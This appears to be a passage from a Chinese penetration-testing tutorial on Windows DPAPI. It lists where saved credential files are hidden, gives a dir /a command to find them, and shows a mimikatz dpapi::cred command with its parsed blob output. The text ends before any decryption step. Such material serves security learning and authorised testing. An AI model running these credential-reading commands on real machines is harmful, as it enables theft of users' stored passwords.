背景介绍
DPAPI(Date Protection Application Programming Interface),从windows2000之后,微软提供的一个特殊数据保护接口,使用了对称的加解密函数对密码加密。包括:
- IE、Chrome密码登陆表单的自动完成
- 邮箱客户端用户密码
- FTP管理账户密码
- 远程桌面身份密码
- ……
查找本地的Credentials:
通常的保存位置:
%appdata%\Microsoft\Credentials
%localappdata%\Microsoft\Credentials
%userprofile%\AppData\Local\Microsoft\Credentials\*
因为文件被隐藏,命令行下需要查看需要加上/a
可以看到:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
获取GUID
# 打印结构体信息
mimikatz dpapi::cred /in:"%localappdata%\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D"
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {xf9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {x0ad1823-abf0-4be4-b696-eb4bbddca052}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000012 - 18
szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 00bcc91d576813f05e286f96b9ae3f97aef0922bb7c97b9c93b978d75027a8dc
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 109ef886e7807e15e7918ec1773e768b50900664d88739e42a80592a1af52d51
dwDataLen : 00002a70 - 10864
pbData : xxxxxxz
dwSignLen : 00000040 - 64
pbSign : xxxxx